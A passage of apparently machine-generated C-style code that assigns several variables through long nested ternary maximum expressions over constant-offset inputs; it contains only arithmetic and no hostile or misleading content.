x_34) > ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36))? (6.0 + x_34) : ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36))))? (((13.0 + x_22) > (4.0 + x_24)? (13.0 + x_22) : (4.0 + x_24)) > ((17.0 + x_25) > ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29))? (17.0 + x_25) : ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29)))? ((13.0 + x_22) > (4.0 + x_24)? (13.0 + x_22) : (4.0 + x_24)) : ((17.0 + x_25) > ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29))? (17.0 + x_25) : ((19.0 + x_28) > (11.0 + x_29)? (19.0 + x_28) : (11.0 + x_29)))) : (((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31)) > ((6.0 + x_34) > ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36))? (6.0 + x_34) : ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36)))? ((3.0 + x_30) > (10.0 + x_31)? (3.0 + x_30) : (10.0 + x_31)) : ((6.0 + x_34) > ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36))? (6.0 + x_34) : ((16.0 + x_35) > (10.0 + x_36)? (16.0 + x_35) : (10.0 + x_36)))))); x_27_ = (((((4.0 + x_0) > (17.0 + x_2)? (4.0 + x_0) : (17.0 + x_2)) > ((3.0 + x_3) > ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6))? (3.0 + x_3) : ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6)))? ((4.0 + x_0) > (17.0 + x_2)? (4.0 + x_0) : (17.0 + x_2)) : ((3.0 + x_3) > ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6))? (3.0 + x_3) : ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6)))) > (((17.0 + x_8) > (7.0 + x_11)? (17.0 + x_8) : (7.0 + x_11)) > ((7.0 + x_12) > ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17))? (7.0 + x_12) : ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17)))? ((17.0 + x_8) > (7.0 + x_11)? (17.0 + x_8) : (7.0 + x_11)) : ((7.0 + x_12) > ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17))? (7.0 + x_12) : ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17))))? (((4.0 + x_0) > (17.0 + x_2)? (4.0 + x_0) : (17.0 + x_2)) > ((3.0 + x_3) > ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6))? (3.0 + x_3) : ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6)))? ((4.0 + x_0) > (17.0 + x_2)? (4.0 + x_0) : (17.0 + x_2)) : ((3.0 + x_3) > ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6))? (3.0 + x_3) : ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6)))) : (((17.0 + x_8) > (7.0 + x_11)? (17.0 + x_8) : (7.0 + x_11)) > ((7.0 + x_12) > ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17))? (7.0 + x_12) : ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17)))? ((17.0 + x_8) > (7.0 + x_11)? (17.0 + x_8) : (7.0 + x_11)) : ((7.0 + x_12) > ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17))? (7.0 + x_12) : ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17))))) > ((((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21)) > ((15.0 + x_25) > ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28))? (15.0 + x_25) : ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28)))? ((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21)) : ((15.0 + x_25) > ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28))? (15.0 + x_25) : ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28)))) > (((15.0 + x_29) > (16.0 + x_30)? (15.0 + x_29) : (16.0 + x_30)) > ((8.0 + x_31) > ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37))? (8.0 + x_31) : ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37)))? ((15.0 + x_29) > (16.0 + x_30)? (15.0 + x_29) : (16.0 + x_30)) : ((8.0 + x_31) > ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37))? (8.0 + x_31) : ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37))))? (((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21)) > ((15.0 + x_25) > ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28))? (15.0 + x_25) : ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28)))? ((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21)) : ((15.0 + x_25) > ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28))? (15.0 + x_25) : ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28)))) : (((15.0 + x_29) > (16.0 + x_30)? (15.0 + x_29) : (16.0 + x_30)) > ((8.0 + x_31) > ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37))? (8.0 + x_31) : ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37)))? ((15.0 + x_29) > (16.0 + x_30)? (15.0 + x_29) : (16.0 + x_30)) : ((8.0 + x_31) > ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37))? (8.0 + x_31) : ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37)))))? ((((4.0 + x_0) > (17.0 + x_2)? (4.0 + x_0) : (17.0 + x_2)) > ((3.0 + x_3) > ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6))? (3.0 + x_3) : ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6)))? ((4.0 + x_0) > (17.0 + x_2)? (4.0 + x_0) : (17.0 + x_2)) : ((3.0 + x_3) > ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6))? (3.0 + x_3) : ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6)))) > (((17.0 + x_8) > (7.0 + x_11)? (17.0 + x_8) : (7.0 + x_11)) > ((7.0 + x_12) > ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17))? (7.0 + x_12) : ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17)))? ((17.0 + x_8) > (7.0 + x_11)? (17.0 + x_8) : (7.0 + x_11)) : ((7.0 + x_12) > ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17))? (7.0 + x_12) : ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17))))? (((4.0 + x_0) > (17.0 + x_2)? (4.0 + x_0) : (17.0 + x_2)) > ((3.0 + x_3) > ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6))? (3.0 + x_3) : ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6)))? ((4.0 + x_0) > (17.0 + x_2)? (4.0 + x_0) : (17.0 + x_2)) : ((3.0 + x_3) > ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6))? (3.0 + x_3) : ((3.0 + x_5) > (5.0 + x_6)? (3.0 + x_5) : (5.0 + x_6)))) : (((17.0 + x_8) > (7.0 + x_11)? (17.0 + x_8) : (7.0 + x_11)) > ((7.0 + x_12) > ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17))? (7.0 + x_12) : ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17)))? ((17.0 + x_8) > (7.0 + x_11)? (17.0 + x_8) : (7.0 + x_11)) : ((7.0 + x_12) > ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17))? (7.0 + x_12) : ((14.0 + x_13) > (4.0 + x_17)? (14.0 + x_13) : (4.0 + x_17))))) : ((((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21)) > ((15.0 + x_25) > ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28))? (15.0 + x_25) : ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28)))? ((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21)) : ((15.0 + x_25) > ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28))? (15.0 + x_25) : ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28)))) > (((15.0 + x_29) > (16.0 + x_30)? (15.0 + x_29) : (16.0 + x_30)) > ((8.0 + x_31) > ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37))? (8.0 + x_31) : ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37)))? ((15.0 + x_29) > (16.0 + x_30)? (15.0 + x_29) : (16.0 + x_30)) : ((8.0 + x_31) > ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37))? (8.0 + x_31) : ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37))))? (((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21)) > ((15.0 + x_25) > ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28))? (15.0 + x_25) : ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28)))? ((7.0 + x_18) > (9.0 + x_21)? (7.0 + x_18) : (9.0 + x_21)) : ((15.0 + x_25) > ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28))? (15.0 + x_25) : ((12.0 + x_26) > (19.0 + x_28)? (12.0 + x_26) : (19.0 + x_28)))) : (((15.0 + x_29) > (16.0 + x_30)? (15.0 + x_29) : (16.0 + x_30)) > ((8.0 + x_31) > ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37))? (8.0 + x_31) : ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37)))? ((15.0 + x_29) > (16.0 + x_30)? (15.0 + x_29) : (16.0 + x_30)) : ((8.0 + x_31) > ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37))? (8.0 + x_31) : ((10.0 + x_36) > (7.0 + x_37)? (10.0 + x_36) : (7.0 + x_37)))))); x_28_ = (((((18.0 + x_1) > (6.0 + x_2)? (18.0 + x_1) : (6.0 + x_2)) > ((15.0 + x_5) > ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8))? (15.0 + x_5) : ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8)))? ((18.0 + x_1) > (6.0 + x_2)? (18.0 + x_1) : (6.0 + x_2)) : ((15.0 + x_5) > ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8))? (15.0 + x_5) : ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8)))) > (((18.0 + x_10) > (11.0 + x_11)? (18.0 + x_10) : (11.0 + x_11)) > ((19.0 + x_13) > ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19))? (19.0 + x_13) : ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19)))? ((18.0 + x_10) > (11.0 + x_11)? (18.0 + x_10) : (11.0 + x_11)) : ((19.0 + x_13) > ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19))? (19.0 + x_13) : ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19))))? (((18.0 + x_1) > (6.0 + x_2)? (18.0 + x_1) : (6.0 + x_2)) > ((15.0 + x_5) > ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8))? (15.0 + x_5) : ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8)))? ((18.0 + x_1) > (6.0 + x_2)? (18.0 + x_1) : (6.0 + x_2)) : ((15.0 + x_5) > ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8))? (15.0 + x_5) : ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8)))) : (((18.0 + x_10) > (11.0 + x_11)? (18.0 + x_10) : (11.0 + x_11)) > ((19.0 + x_13) > ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19))? (19.0 + x_13) : ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19)))? ((18.0 + x_10) > (11.0 + x_11)? (18.0 + x_10) : (11.0 + x_11)) : ((19.0 + x_13) > ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19))? (19.0 + x_13) : ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19))))) > ((((6.0 + x_21) > (13.0 + x_22)? (6.0 + x_21) : (13.0 + x_22)) > ((4.0 + x_23) > ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28))? (4.0 + x_23) : ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28)))? ((6.0 + x_21) > (13.0 + x_22)? (6.0 + x_21) : (13.0 + x_22)) : ((4.0 + x_23) > ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28))? (4.0 + x_23) : ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28)))) > (((20.0 + x_31) > (18.0 + x_32)? (20.0 + x_31) : (18.0 + x_32)) > ((20.0 + x_33) > ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39))? (20.0 + x_33) : ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39)))? ((20.0 + x_31) > (18.0 + x_32)? (20.0 + x_31) : (18.0 + x_32)) : ((20.0 + x_33) > ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39))? (20.0 + x_33) : ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39))))? (((6.0 + x_21) > (13.0 + x_22)? (6.0 + x_21) : (13.0 + x_22)) > ((4.0 + x_23) > ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28))? (4.0 + x_23) : ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28)))? ((6.0 + x_21) > (13.0 + x_22)? (6.0 + x_21) : (13.0 + x_22)) : ((4.0 + x_23) > ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28))? (4.0 + x_23) : ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28)))) : (((20.0 + x_31) > (18.0 + x_32)? (20.0 + x_31) : (18.0 + x_32)) > ((20.0 + x_33) > ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39))? (20.0 + x_33) : ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39)))? ((20.0 + x_31) > (18.0 + x_32)? (20.0 + x_31) : (18.0 + x_32)) : ((20.0 + x_33) > ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39))? (20.0 + x_33) : ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39)))))? ((((18.0 + x_1) > (6.0 + x_2)? (18.0 + x_1) : (6.0 + x_2)) > ((15.0 + x_5) > ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8))? (15.0 + x_5) : ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8)))? ((18.0 + x_1) > (6.0 + x_2)? (18.0 + x_1) : (6.0 + x_2)) : ((15.0 + x_5) > ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8))? (15.0 + x_5) : ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8)))) > (((18.0 + x_10) > (11.0 + x_11)? (18.0 + x_10) : (11.0 + x_11)) > ((19.0 + x_13) > ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19))? (19.0 + x_13) : ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19)))? ((18.0 + x_10) > (11.0 + x_11)? (18.0 + x_10) : (11.0 + x_11)) : ((19.0 + x_13) > ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19))? (19.0 + x_13) : ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19))))? (((18.0 + x_1) > (6.0 + x_2)? (18.0 + x_1) : (6.0 + x_2)) > ((15.0 + x_5) > ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8))? (15.0 + x_5) : ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8)))? ((18.0 + x_1) > (6.0 + x_2)? (18.0 + x_1) : (6.0 + x_2)) : ((15.0 + x_5) > ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8))? (15.0 + x_5) : ((11.0 + x_7) > (15.0 + x_8)? (11.0 + x_7) : (15.0 + x_8)))) : (((18.0 + x_10) > (11.0 + x_11)? (18.0 + x_10) : (11.0 + x_11)) > ((19.0 + x_13) > ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19))? (19.0 + x_13) : ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19)))? ((18.0 + x_10) > (11.0 + x_11)? (18.0 + x_10) : (11.0 + x_11)) : ((19.0 + x_13) > ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19))? (19.0 + x_13) : ((8.0 + x_18) > (16.0 + x_19)? (8.0 + x_18) : (16.0 + x_19))))) : ((((6.0 + x_21) > (13.0 + x_22)? (6.0 + x_21) : (13.0 + x_22)) > ((4.0 + x_23) > ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28))? (4.0 + x_23) : ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28)))? ((6.0 + x_21) > (13.0 + x_22)? (6.0 + x_21) : (13.0 + x_22)) : ((4.0 + x_23) > ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28))? (4.0 + x_23) : ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28)))) > (((20.0 + x_31) > (18.0 + x_32)? (20.0 + x_31) : (18.0 + x_32)) > ((20.0 + x_33) > ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39))? (20.0 + x_33) : ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39)))? ((20.0 + x_31) > (18.0 + x_32)? (20.0 + x_31) : (18.0 + x_32)) : ((20.0 + x_33) > ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39))? (20.0 + x_33) : ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39))))? (((6.0 + x_21) > (13.0 + x_22)? (6.0 + x_21) : (13.0 + x_22)) > ((4.0 + x_23) > ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28))? (4.0 + x_23) : ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28)))? ((6.0 + x_21) > (13.0 + x_22)? (6.0 + x_21) : (13.0 + x_22)) : ((4.0 + x_23) > ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28))? (4.0 + x_23) : ((18.0 + x_26) > (4.0 + x_28)? (18.0 + x_26) : (4.0 + x_28)))) : (((20.0 + x_31) > (18.0 + x_32)? (20.0 + x_31) : (18.0 + x_32)) > ((20.0 + x_33) > ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39))? (20.0 + x_33) : ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39)))? ((20.0 + x_31) > (18.0 + x_32)? (20.0 + x_31) : (18.0 + x_32)) : ((20.0 + x_33) > ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39))? (20.0 + x_33) : ((2.0 + x_34) > (5.0 + x_39)? (2.0 + x_34) : (5.0 + x_39)))))); x_29_ = (((((8.0 + x_0) > (16.0 + x_1)? (8.0 + x_0) : (16.0 + x_1)) > ((12.0 + x_2) > ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7))? (12.0 + x_2) : ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7)))? ((8.0 + x_0) > (16.0 + x_1)? (8.0 + x_0) : (16.0 + x_1)) : ((12.0 + x_2) > ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7))? (12.0 + x_2) : ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7)))) > (((20.0 + x_8) > (13.0 + x_10)? (20.0 + x_8) : (13.0 + x_10)) > ((9.0 + x_11) > ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19))? (9.0 + x_11) : ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19)))? ((20.0 + x_8) > (13.0 + x_10)? (20.0 + x_8) : (13.0 + x_10)) : ((9.0 + x_11) > ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19))? (9.0 + x_11) : ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19))))? (((8.0 + x_0) > (16.0 + x_1)? (8.0 + x_0) : (16.0 + x_1)) > ((12.0 + x_2) > ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7))? (12.0 + x_2) : ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7)))? ((8.0 + x_0) > (16.0 + x_1)? (8.0 + x_0) : (16.0 + x_1)) : ((12.0 + x_2) > ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7))? (12.0 + x_2) : ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7)))) : (((20.0 + x_8) > (13.0 + x_10)? (20.0 + x_8) : (13.0 + x_10)) > ((9.0 + x_11) > ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19))? (9.0 + x_11) : ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19)))? ((20.0 + x_8) > (13.0 + x_10)? (20.0 + x_8) : (13.0 + x_10)) : ((9.0 + x_11) > ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19))? (9.0 + x_11) : ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19))))) > ((((17.0 + x_23) > (7.0 + x_25)? (17.0 + x_23) : (7.0 + x_25)) > ((16.0 + x_29) > ((15.0 + x_31) > (12.0 + x_33)? (15.0 + x_31) : (12.0 + x_33))? (16.0 + x_29) : ((15.0 + x_31) > (12.0 + x_33)? (15.0 + x_31) : (12.0 + x_33)))? ((17.0 + x_23) > (7.0 + x_25)? (17.0 + x_23) : (7.0 + x_25)) : ((16.0 + x_29) > ((15.0 + x_31) > (12.0 + x_33)? (15.0 + x_31) : (12.0 + x_33))? (16.0 + x_29) : ((15.0 + x_31) > (12.0 + x_33)? (15.0 + x_31) : (12.0 + x_33)))) > (((20.0 + x_35) > (18.0 + x_36)? (20.0 + x_35) : (18.0 + x_36)) > ((7.0 + x_37) > ((2.0 + x_38) > (20.0 + x_39)? (2.0 + x_38) : (20.0 + x_39))? (7.0 + x_37) : ((2.0 + x_38) > (20.0 + x_39)? (2.0 + x_38) : (20.0 + x_39)))? ((20.0 + x_35) > (18.0 + x_36)? (20.0 + x_35) : (18.0 + x_36)) : ((7.0 + x_37) > ((2.0 + x_38) > (20.0 + x_39)? (2.0 + x_38) : (20.0 + x_39))? (7.0 + x_37) : ((2.0 + x_38) > (20.0 + x_39)? (2.0 + x_38) : (20.0 + x_39))))? (((17.0 + x_23) > (7.0 + x_25)? (17.0 + x_23) : (7.0 + x_25)) > ((16.0 + x_29) > ((15.0 + x_31) > (12.0 + x_33)? (15.0 + x_31) : (12.0 + x_33))? (16.0 + x_29) : ((15.0 + x_31) > (12.0 + x_33)? (15.0 + x_31) : (12.0 + x_33)))? ((17.0 + x_23) > (7.0 + x_25)? (17.0 + x_23) : (7.0 + x_25)) : ((16.0 + x_29) > ((15.0 + x_31) > (12.0 + x_33)? (15.0 + x_31) : (12.0 + x_33))? (16.0 + x_29) : ((15.0 + x_31) > (12.0 + x_33)? (15.0 + x_31) : (12.0 + x_33)))) : (((20.0 + x_35) > (18.0 + x_36)? (20.0 + x_35) : (18.0 + x_36)) > ((7.0 + x_37) > ((2.0 + x_38) > (20.0 + x_39)? (2.0 + x_38) : (20.0 + x_39))? (7.0 + x_37) : ((2.0 + x_38) > (20.0 + x_39)? (2.0 + x_38) : (20.0 + x_39)))? ((20.0 + x_35) > (18.0 + x_36)? (20.0 + x_35) : (18.0 + x_36)) : ((7.0 + x_37) > ((2.0 + x_38) > (20.0 + x_39)? (2.0 + x_38) : (20.0 + x_39))? (7.0 + x_37) : ((2.0 + x_38) > (20.0 + x_39)? (2.0 + x_38) : (20.0 + x_39)))))? ((((8.0 + x_0) > (16.0 + x_1)? (8.0 + x_0) : (16.0 + x_1)) > ((12.0 + x_2) > ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7))? (12.0 + x_2) : ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7)))? ((8.0 + x_0) > (16.0 + x_1)? (8.0 + x_0) : (16.0 + x_1)) : ((12.0 + x_2) > ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7))? (12.0 + x_2) : ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7)))) > (((20.0 + x_8) > (13.0 + x_10)? (20.0 + x_8) : (13.0 + x_10)) > ((9.0 + x_11) > ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19))? (9.0 + x_11) : ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19)))? ((20.0 + x_8) > (13.0 + x_10)? (20.0 + x_8) : (13.0 + x_10)) : ((9.0 + x_11) > ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19))? (9.0 + x_11) : ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19))))? (((8.0 + x_0) > (16.0 + x_1)? (8.0 + x_0) : (16.0 + x_1)) > ((12.0 + x_2) > ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7))? (12.0 + x_2) : ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7)))? ((8.0 + x_0) > (16.0 + x_1)? (8.0 + x_0) : (16.0 + x_1)) : ((12.0 + x_2) > ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7))? (12.0 + x_2) : ((14.0 + x_6) > (11.0 + x_7)? (14.0 + x_6) : (11.0 + x_7)))) : (((20.0 + x_8) > (13.0 + x_10)? (20.0 + x_8) : (13.0 + x_10)) > ((9.0 + x_11) > ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19))? (9.0 + x_11) : ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19)))? ((20.0 + x_8) > (13.0 + x_10)? (20.0 + x_8) : (13.0 + x_10)) : ((9.0 + x_11) > ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19))? (9.0 + x_11) : ((8.0 + x_14) > (8.0 + x_19)? (8.0 + x_14) : (8.0 + x_19))))) : ((((17.0 + x_23) > (7.0 + x_25)? (17.0 + x_23) : (7.0 + x_25)) > ((16.0 + x_29) > ((15.0 + x_31) > (12.0 + x_33)? (15.0 + x_31) : (12.0 + x_33))? (16.0 